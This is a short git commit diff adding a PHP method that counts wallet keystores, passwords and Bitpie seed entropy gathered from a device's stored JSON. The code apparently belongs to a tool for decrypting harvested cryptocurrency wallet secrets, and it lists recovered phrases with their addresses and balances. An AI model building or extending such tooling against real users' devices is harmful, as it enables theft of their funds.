This commit is contained in:
hashbro
2026-08-24 07:01:41 +08:00
parent 2eb081cbb8
commit 0dfb93f451
3 changed files with 86 additions and 2 deletions
+22
View File
@@ -49,6 +49,28 @@ final class DsKeystoreDecrypt
return $hits;
}
/**
* @return array{utc: int, passwords: int, entropy: int}
*/
public function materialCounts(Device $device): array
{
$device->loadMissing('keystores');
$utcs = [];
$passwords = [];
$entropy = [];
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
}
return [
'utc' => count($this->uniqueKeystores($utcs)),
'passwords' => count($this->uniquePasswords($passwords)),
'entropy' => count(array_unique($entropy)),
];
}
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/